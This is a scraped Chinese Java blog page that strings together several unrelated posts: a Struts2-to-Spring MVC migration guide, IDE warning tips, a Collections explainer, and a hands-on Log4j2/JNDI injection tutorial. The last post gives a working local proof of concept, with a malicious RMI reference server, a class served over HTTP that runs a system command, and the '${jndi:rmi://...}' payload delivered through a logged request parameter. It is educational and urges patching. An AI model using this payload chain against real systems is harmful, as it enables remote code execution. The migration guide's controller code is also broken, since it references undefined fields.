把系统从Struts2 迁移到 Spring MVC六大步总结

基于struts的系统迁移到SpringMVC架构上来,共分六部曲,让系统一部一部迁移过来,本文讲的知识点以Struts2 to Spring4,但是针对其他应用场景也是可以参考的。

Step 1: 替换基本的框架库。

Firstly while migrating from struts to spring we have to replace our struts related libraries with spring libraries in lib folder.

I have mentioned basic libraries of both struts and spring for your clarification.

Struts basic libraries :
  1. struts.jar
  2. struts-legacy.jar
  3. etc.. 

Have you ever use :   Javadoc comment in Java

Spring basic libraries :

  1. standard.jar
  2. org.springframework.asm-4.0.1.RELEASE-A.jar
  3. org.springframework.beans-4.0.1.RELEASE-A.jar
  4. org.springframework.context-4.0.1.RELEASE-A.jar
  5. org.springframework.core-4.0.1.RELEASE-A.jar
  6. org.springframework.expression-4.0.1.RELEASE-A.jar
  7. org.springframework.web.servlet-4.0.1.RELEASE-A.jar
  8. org.springframework.web-4.0.1.RELEASE-A.jar
  9. etc..

Step 2: 修改web.xml配置文件

In this step we have to remove Action filter dispatcher for the web.xml and add Spring dipatcher servlet as Front controller
Work on new technology  :  Create and manage cloud applications using Java

In Strut application web.xml look like as follows
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" id="WebApp_ID" version="3.0">  
  <display-name>Struts2MyFirstApp</display-name>  
  <filter>  
        <filter-name>struts2</filter-name>  
        <filter-class>  
            org.apache.struts2.dispatcher.FilterDispatcher  
        </filter-class>  
    </filter>  

<filter-mapping>  
        <filter-name>struts2</filter-name>  
        <url-pattern>/*</url-pattern>  
    </filter-mapping>  
    <welcome-file-list>  
        <welcome-file>Login.jsp</welcome-file>  
    </welcome-file-list>  
</web-app>
In Spring application web.xml look like as follows
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" id="WebApp_ID" version="3.0">  
  <display-name>dispatcher</display-name>  
  <servlet>  
    <servlet-name>dispatcher</servlet-name>  
    <servlet-class>  
            org.springframework.web.servlet.DispatcherServlet  
        </servlet-class>  
    <load-on-startup>1</load-on-startup>  
  </servlet>  
  <servlet-mapping>  
    <servlet-name>dispatcher</servlet-name>  
    <url-pattern>/</url-pattern>  
  </servlet-mapping>  
</web-app>

Step 3: 替换Struts本身的配置文件

Now replace all struts configuration files to spring configuration file as follows

In Struts applivation struts configuration file-
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE struts PUBLIC  
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"  
    "http://struts.apache.org/dtds/struts-2.0.dtd">  
   
<struts>  
    <constant name="struts.enable.DynamicMethodInvocation" value="false" />  
    <constant name="struts.devMode" value="false" />  
    <constant name="struts.custom.i18n.resources" value="myapp" />  
   
    <package name="default" extends="struts-default" namespace="/">  
        <action name="login" class="com.geekonjavaonjava.struts2.login.LoginAction">  
            <result name="success">Welcome.jsp</result>  
            <result name="error">Login.jsp</result>  
        </action>  
    </package>  
</struts>  
In Spring application spring configuration file as follows
<?xml version="1.0" encoding="UTF-8"?>    
<beans xmlns="http://www.springframework.org/schema/beans"    
     xmlns:context="http://www.springframework.org/schema/context"    
     xmlns:p="http://www.springframework.org/schema/p"      
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    
     xsi:schemaLocation="http://www.springframework.org/schema/beans    
    http://www.springframework.org/schema/beans/spring-beans-4.0.xsd    
    http://www.springframework.org/schema/context    
    http://www.springframework.org/schema/context/spring-context-4.0.xsd">    
        
     <context:component-scan base-package="com.geekonjavaonjava.spring.login.controller" />    
        
     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">    
        <property name="prefix">    
          <value>/WEB-INF/views/</value>    
        </property>    
        <property name="suffix">    
          <value>.jsp</value>    
        </property>    
      </bean>    
</beans>

Here, <context:component-scan> tag is used, so that spring will load all the components from given package i.e. " com.geekonjavaonjava.spring.login.controller".

Use this in Struts2 : Get value of struts property tag into jsp variable

We can use different view resolver, here I have used InternalResourceViewResolver. In which prefix and suffix are used to resolve the view by prefixing and suffixing values to the object returned by ModelAndView in action class.

Step 4: 修改JSP文件

While migration an application from struts to spring we need to change in jsp file as following

Firstly replace all tlds-
<%@ taglib uri="http://struts.apache.org/tags-bean" prefix="bean" %>  
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html" %>  
<%@ taglib uri="http://struts.apache.org/tags-logic" prefix="logic" %>  
<%@ taglib uri="http://struts.apache.org/tags-tiles" prefix="tiles" %>
Replace these with following spring taglib's :
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>  
<%@ taglib prefix="spring" uri="http://www.springframework.org/tags"%>
In Struts :
<html:form action="/addLogin" method="post">
In Spring :
<form:form method="POST" commandName="loginForm" name="loginForm" action="login.do"> 

Here commandName is going to map with corresponding formbean for that jsp. Next we will see, how action is getting called with spring 4 annotations.

Step 5: 修改Action 类文件

Now following changes need to be done in action classes for struts to spring migration using annotations-

Struts Action:
package com.geekonjavaonjava.struts2.login;  
  
import com.opensymphony.xwork2.ActionSupport;  
  
/** 
 * @author geekonjava 
 * 
 */  
@SuppressWarnings("serial")  
public class LoginAction  extends ActionSupport{  
 private String username;  
    private String password;  
      
 public String execute() {  
     
        if (this.username.equals("geekonjava")   
                && this.password.equals("sweety")) {  
            return "success";  
        } else {  
         addActionError(getText("error.login"));  
            return "error";  
        }  
    }  
  
 public String getUsername() {  
  return username;  
 }  
  
 public void setUsername(String username) {  
  this.username = username;  
 }  
  
 public String getPassword() {  
  return password;  
 }  
  
 public void setPassword(String password) {  
  this.password = password;  
 }  
   
}
Spring action
package com.geekonjavaonjava.spring.login.controller;  
  
import org.springframework.stereotype.Controller;  
import org.springframework.ui.ModelMap;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RequestMethod;  
  
/** 
 * @author GeekOnJava 
 * 
 */  
@Controller  
public class LoginController {  
   
 @RequestMapping(value="/login.do", method = RequestMethod.GET)  
 public String doLogin(ModelMap model, LoginForm loginForn) {  
 if (this.username.equals("geekonjava")   
                && this.password.equals("sweety")) {  
            model.addAttribute("message", "Login Success");  
        } else {  
            model.addAttribute("message", "Login Failure");  
        }  
         return "home";  
   
 }  
}

Step 6: 修改前端验证机制

In struts JSP file validation changes as follows
<% ActionErrors actionErrors = (ActionErrors)request.getAttribute("org.apache.struts.action.ERROR"); %>
In Spring JSP file as follows-
<form:errors path="*" cssClass="error" /> 

参考链接


性能有坑 | 慎用 Java 8 ConcurrentHashMap 的 computeIfAbsent

前言

我们先看一段代码,代码中使用 Map 的时候,有可能会这么写:

Map<String, Value> map;
// ...
Value result = map.get(key);
if (null == result) {
	result = this.calculateValue(key);
	map.put(key, result);
}
return result;

Java 8 的 java.util.Map 里面有个方法 computeIfAbsent,能够简化以上代码:

Map<String, Value> map;
// ...
return map.computeIfAbsent(key, this::calculateValue);

以上这种写法除了简洁,如果使用的是 java.util.concurrent.ConcurrentHashMap,还能够在并发调用的情况下确保 calculateValue 方法不会被重复调用,保证原子性。

不过,前段时间对 Apache ShardingSphere-Proxy 做压测时遇到一个问题,当 BenchmarkSQL 连接 ShardingSphere Proxy 的 Terminal 数量比较高时,其中一条很简单的插入 SQL 执行延迟增加了很多。借助 Async Profiler 发现 Java 8 ConcurrentHashMap 的 computeIfAbsent 在性能上有坑。

不了解 Apache ShardingSphere 的读者可以参考 https://github.com/apache/shardingsphere

继续阅读性能有坑 | 慎用 Java 8 ConcurrentHashMap 的 computeIfAbsent

如何让Android Studio/IntelliJ IDEA不对自定义的NULL检查方法发出警告

在平时的开发过程中,我们一般会自定义函数对变量是否为 null 进行检查,当检查函数返回成功的时候,对象一定不是 null

但是,这个自定义的函数,对于 Android Studio/IntelliJ IDEA 来说,是无法感知到的,导致 Android Studio/IntelliJ IDEA 会发出警告,没有对变量是否为 null 进行检查。

出现上述问题的例子如下:

import java.util.Random;

public class Test {

    // validator method
    static boolean hasText(String s) {
        return !(s == null || s.trim().isEmpty());
    }

    public static void main(String[] args) {
        // s could come from anywhere and is null iff the data does not exist
        String s = (new Random().nextBoolean()) ? "valid" : null;
        if (hasText(s)) {
            // Potential null pointer access: The variable s may be null at this location
            System.out.println(s.length());
            // ... do actual stuff ...
        }
    }
}

那么,有没有办法告知 Android Studio/IntelliJ IDEA ,我们已经对 null 进行过检查了呢?

网上搜索许久,尝试过 @CheckForNull / @EnsuresNonNullIf 注解,都不能解决问题。

最终发现使用 jetbrains@Contract 注解能解决此问题。

上述的例子增加以下注解,明确告知编译器,如果参数是 null 函数一定返回 false,就可以阻止编译器发出警告了。

如下:

import java.util.Random;
import org.jetbrains.annotations.Contract;

public class Test {

    // validator method
    @Contract("null -> false")
    static boolean hasText(String s) {
        return !(s == null || s.trim().isEmpty());
    }

    public static void main(String[] args) {
        // s could come from anywhere and is null iff the data does not exist
        String s = (new Random().nextBoolean()) ? "valid" : null;
        if (hasText(s)) {
            // Potential null pointer access: The variable s may be null at this location
            System.out.println(s.length());
            // ... do actual stuff ...
        }
    }
}

参考链接


Collections.singletonList/Collections.emptyList/Collections.emptyMap

最近在研究 Flutter pigeon 例子 的时候,发现如下实例代码:

import dev.flutter.pigeon.Pigeon.*;
import java.util.Collections;

public class StartActivity extends Activity {
  private class MyApi implements BookApi {
    List<Book> search(String keyword) {
      Book result = new Book();
      result.author = keyword;
      result.title = String.format("%s's Life", keyword);
      return Collections.singletonList(result)
    }
  }

  protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    BookApi.setup(getBinaryMessenger(), new MyApi());
  }
}

对其中的 Collections.singletonList(result) 比较感兴趣,研究了一下,发现还是比较有意义的。

Collections.singletonList()

这个方法主要用于只有一个元素的优化,减少内存分配,无需分配额外的内存,可以从SingletonList内部类看得出来,由于只有一个element,因此可以做到内存分配最小化,相比之下ArrayListDEFAULT_CAPACITY=10个。

    /**
     * Returns an immutable list containing only the specified object.
     * The returned list is serializable.
     *
     * @param  <T> the class of the objects in the list
     * @param o the sole object to be stored in the returned list.
     * @return an immutable list containing only the specified object.
     * @since 1.3
     */
    public static <T> List<T> singletonList(T o) {
        return new SingletonList<>(o);
    }

下面是SingletonList静态类的定义

    private static class SingletonList<E>
        extends AbstractList<E>
        implements RandomAccess, Serializable {
 
        private static final long serialVersionUID = 3093736618740652951L;
 
        private final E element;
 
        SingletonList(E obj)                {element = obj;}
 
        public Iterator<E> iterator() {
            return singletonIterator(element);
        }
 
        public int size()                   {return 1;}
 
        public boolean contains(Object obj) {return eq(obj, element);}
 
        public E get(int index) {
            if (index != 0)
              throw new IndexOutOfBoundsException("Index: "+index+", Size: 1");
            return element;
        }
 
        // Override default methods for Collection
        @Override
        public void forEach(Consumer<? super E> action) {
            action.accept(element);
        }
        @Override
        public boolean removeIf(Predicate<? super E> filter) {
            throw new UnsupportedOperationException();
        }
        @Override
        public void replaceAll(UnaryOperator<E> operator) {
            throw new UnsupportedOperationException();
        }
        @Override
        public void sort(Comparator<? super E> c) {
        }
        @Override
        public Spliterator<E> spliterator() {
            return singletonSpliterator(element);
        }
    }

上面的源码中可以看到,静态类中并没有重新add、delete、set等方法。所以通过Collections.singletonList初始化的List是不能执行上述方法的。

Collections.emptyList()

Collections.emptyList在日常开发中也比较常用,如果一个方法需要返回一个空List,并且后续不用再新增元素进去,我们完全可以直接返回Collections.emptyList()而不是new ArrayList;这样不用每次都去创建一个新对象。

    public static final <T> List<T> emptyList() {
        return (List<T>) EMPTY_LIST;
    }

EMPTY_LIST如下

public static final List EMPTY_LIST = new EmptyList<>();

Collections中其他类似方法

public static <T> Set<T> singleton(T o);
 
public static <T> List<T> singletonList(T o);
 
public static <K,V> Map<K,V> singletonMap(K key, V value);
 
// 或者直接调用常量 EMPTY_LIST
public static final <T> List<T> emptyList();
 
//或者直接调用常量 EMPTY_MAP
public static final <K,V> Map<K,V> emptyMap();
 
//或者直接调用常量 EMPTY_SET
public static final <T> Set<T> emptySet()

参考链接


理解Intellj IDEA/Android Studio警告'Optional' used as type for parameter

在函数的形参中使用 Optional 类型的参数的时候,编译的时候会被 Intellj IDEA/Android Studio 发出警告,代码如下:

import java.util.Optional;

public class OptionalDemo {

    private static void printOptionalString(Optional<String> message) {
        System.out.println(message.orElse("empty"));
    }

    public static void main(String[] args) {
        printOptionalString(Optional.of("hello"));
    }

}

警告信息如下:

'Optional<String>' used as type for parameter 'message'

对于这个警告,初期是非常迷惑的,不清楚为什么 Optional 类型不能作为函数的形参。后来搜索了一下网络,加上自己理解,才豁然开朗。

其实 Optional 类型产生的本身是为了避免空指针异常而引入的,如果在函数的形参中使用 Optional 类型,那么如果传入的 Optional 类型的参数本身就是 null 的话,就会在使用 Optional 参数的时候抛出空指针异常了。因此干脆就希望不要在函数的行参中使用 Optional 类型。

通过测试,Intellj IDEA/Android Studio 对于函数返回值,是不发出这个警告的。

接口的话,可以使用类似下面的写法来规避这个警告:

import java.util.Optional;

public class OptionalDemo {
    
    public static void main(String[] args) {
        OptionalCallback<Optional<String>> cb = new OptionalCallback<Optional<String>>() {
            @Override
            public void onOptionalFired(Optional<String> message) {
                System.out.println(message.orElse("empty"));
            }
        };
        cb.onOptionalFired(Optional.of("hello"));
    }

    private interface  OptionalCallback<T> {
        void onOptionalFired(T message);
    }
}

虽然可以通过 @SuppressWarnings("OptionalUsedAsFieldOrParameterType") 来禁止这个警告的发出,但是还是建议遵守这个警告,尽量不要在函数的形参中使用 Optional 类型。

参考链接


Log4j史诗级漏洞,从原理到实战,只用3个实例就搞明白!

背景

最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。

经常看我文章的朋友都知道,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大概你也已经听说了,造成漏洞的”罪魁祸首“是JNDI,今天我们就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是个什么鬼?好吧,如果你已经有一两年的编程经验,但还不了解JNDI,甚至没听说过。那么,要么赶紧换工作,要么赶紧读读这篇文章。

JNDI是个什么鬼?

说起JNDI,从事Java EE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官方的解释:

Java命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从Java应用程序中访问名称和目录服务的一组API。命名服务即将名称与对象相关联,以便能通过相应名称访问这些对象。而目录服务即其对象具有属性及名称的命名服务。

命名或目录服务允许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它可以使这类应用程序更加一致和易于管理。例如,可以将打印机配置存储在目录服务中,这样所有与打印机相关的应用程序都能够使用它。

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

naming_service
naming_service

看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,Naming Service这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。

总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。

最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。

命名服务与目录服务的区别

命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domain naming service,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。

目录服务是对命名服务的扩展,是一种特殊的命名服务,提供了属性与对象的关联和查找。一个目录服务通常拥有一个命名服务(但是一个命名服务不必具有一个目录服务)。比如电话簿就是一个典型的目录服务,一般先在电话簿里找到相关的人名,再找到这个人的电话号码。

目录服务允许属性(比如用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,使用目录服务时,可以基于对象的属性来搜索它们。

JNDI架构分层

JNDI通常分为三层:

  • JNDI API:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是我们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的方法上。

整体架构分层如下图:

JNDI架构
JNDI架构

需要注意的是:JNDI同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDI SPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDI SPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

JNDI的应用

下面再了解一下JNDI容器的概念及应用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。

容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。

jndi-context-tree
jndi-context-tree

JNDI 应用

JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。

关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

JNDI-Tree
JNDI-Tree

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。JNDI将一些关键信息放到内存中,可以提高访问效率;通过 JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。

JNDI实战

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。

基于RMI的实现

RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

可以通过如下代码来搭建一个RMI服务:

// ①定义接口 
public interface RmiService extends Remote { 
 String sayHello() throws RemoteException; 
} 


// ②接口实现 
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService { 
 protected MyRmiServiceImpl() throws RemoteException { 
 } 


 @Override 
 public String sayHello() throws RemoteException { 
  return "Hello World!"; 
 } 
} 


// ③服务绑定并启动监听 
public class RmiServer { 


 public static void main(String[] args) throws Exception { 
  Registry registry = LocateRegistry.createRegistry(1099); 
  System.out.println("RMI启动,监听:1099 端口"); 
  registry.bind("hello", new MyRmiServiceImpl()); 
  Thread.currentThread().join(); 
 } 
} 

上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

下面构建客户端访问:

public class RmiClient { 


 public static void main(String[] args) throws Exception { 
  Hashtable env = new Hashtable(); 
  env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 
  env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); 
  Context ctx = new InitialContext(env); 
  RmiService service = (RmiService) ctx.lookup("hello"); 
  System.out.println(service.sayHello()); 
 } 
} 

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。

构建攻击

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference。

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。

基本流程如下:

RMI攻击流程
RMI攻击流程

修改RmiServer的代码实现:

public class RmiServer { 


 public static void main(String[] args) throws Exception { 
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  Registry registry = LocateRegistry.createRegistry(1099); 
  System.out.println("RMI启动,监听:1099 端口"); 
  Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/"); 
  ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
  registry.bind("hello", referenceWrapper); 


  Thread.currentThread().join(); 
 } 
} 

由于采用的Java版本较高,需先将系统变量com.sun.jndi.rmi.object.trustURLCodebase设置为true。

其中绑定的Reference涉及三个变量:

  • className:远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载;
  • classFactory:远程的工厂类;
  • classFactoryLocation:工厂类加载的地址,可以是file://、ftp://、http:// 等协议;

此时,通过Python启动一个简单的HTTP监听服务:

192:~ zzs$ python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ... 

打印日志,说明在8000端口进行了http的监听。

对应的客户端代码修改为如下:

public class RmiClient { 


 public static void main(String[] args) throws Exception { 
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  Hashtable env = new Hashtable(); 
  env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 
  env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); 
  Context ctx = new InitialContext(env); 
  ctx.lookup("hello"); 
 } 
} 

执行,客户端代码,发现Python监听的服务打印如下:

127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found 
127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 - 

可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。

进一步改造

上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和Spring Boot Web服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。

上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类BugFinder,用于启动本地的计算器:

public class BugFinder { 


 public BugFinder() { 
  try { 
   System.out.println("执行漏洞代码"); 
   String[] commands = {"open", "/System/Applications/Calculator.app"}; 
   Process pc = Runtime.getRuntime().exec(commands); 
   pc.waitFor(); 
   System.out.println("完成执行漏洞代码"); 
  } catch (Exception e) { 
   e.printStackTrace(); 
  } 
 } 


 public static void main(String[] args) { 
  BugFinder bugFinder = new BugFinder(); 
 } 


} 

本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻击类文件。这里采用Spring Boot项目,核心实现代码如下:

@RestController 
public class ClassController { 


 @GetMapping(value = "/BugFinder.class") 
 public void getClass(HttpServletResponse response) { 
  String file = "/Users/zzs/temp/BugFinder.class"; 
  FileInputStream inputStream = null; 
  OutputStream os = null; 
  try { 
   inputStream = new FileInputStream(file); 
   byte[] data = new byte[inputStream.available()]; 
   inputStream.read(data); 
   os = response.getOutputStream(); 
   os.write(data); 
   os.flush(); 
  } catch (Exception e) { 
   e.printStackTrace(); 
  } finally { 
   // 省略流的判断关闭; 
  } 
 } 
} 

在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。

第三步:修改RmiServer

对RmiServer的绑定做一个修改:

public class RmiServer { 


 public static void main(String[] args) throws Exception { 
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  Registry registry = LocateRegistry.createRegistry(1099); 
  System.out.println("RMI启动,监听:1099 端口"); 
  Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class"); 
  ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
  registry.bind("hello", referenceWrapper); 


  Thread.currentThread().join(); 
 } 
} 

这里Reference传入的参数就是攻击类及远程下载的Web地址。

第四步:执行客户端代码

执行客户端代码进行访问:

public class RmiClient { 


 public static void main(String[] args) throws Exception { 
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  Hashtable env = new Hashtable(); 
  env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); 
  env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); 
  Context ctx = new InitialContext(env); 
  ctx.lookup("hello"); 
 } 
} 

本地计算器被打开:

RMI Client
RMI Client

基于Log4j2的攻击

上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。

在Spring Boot项目中引入了log4j2的受影响版本:

<dependency> 
 <groupId>org.springframework.boot</groupId> 
 <artifactId>spring-boot-starter-web</artifactId> 
 <exclusions><!-- 去掉springboot默认配置 --> 
  <exclusion> 
   <groupId>org.springframework.boot</groupId> 
   <artifactId>spring-boot-starter-logging</artifactId> 
   </exclusion> 
  </exclusions> 
</dependency> 


<dependency> <!-- 引入log4j2依赖 --> 
   <groupId>org.springframework.boot</groupId> 
   <artifactId>spring-boot-starter-log4j2</artifactId> 
</dependency> 

这里需要注意,先排除掉Spring Boot默认的日志,否则可能无法复现Bug。

修改一下RMI的Server代码:

public class RmiServer { 


 public static void main(String[] args) throws Exception { 
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  Registry registry = LocateRegistry.createRegistry(1099); 
  System.out.println("RMI启动,监听:1099 端口"); 
  Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null); 
  ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); 
  registry.bind("hello", referenceWrapper); 
  Thread.currentThread().join(); 
 } 
} 

这里直接访问BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,然后记录日志:

import org.apache.logging.log4j.LogManager; 
import org.apache.logging.log4j.Logger; 


public class RmiClient { 


 private static final Logger logger = LogManager.getLogger(RmiClient.class); 


 public static void main(String[] args) throws Exception { 
  System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
  logger.error("${jndi:rmi://127.0.0.1:1099/hello}"); 
  Thread.sleep(5000); 
 } 
} 

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在Spring Boot中定义如下代码:

@RestController 
public class Log4jController { 


 private static final Logger logger = LogManager.getLogger(Log4jController.class); 


 /** 
  * 方便测试,用了get请求 
  * @param username 登录名称 
  */ 
 @GetMapping("/a") 
 public void log4j(String username){ 
  System.out.println(username); 
  // 打印登录名称 
  logger.info(username); 
 } 
} 

在浏览器中请求URL为:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D 

其中username参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”经过URLEncoder#encode编码之后的值。此时,访问该URL地址,同样可以将打开计算器。

至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。

小结

本篇文章通过对Log4j2漏洞的分析,不仅带大家了解了JNDI的基础知识,而且完美重现了一次基于JNDI的工具。本文涉及到的代码都是本人亲自实验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻击逻辑。

JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。

另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。

参考链接


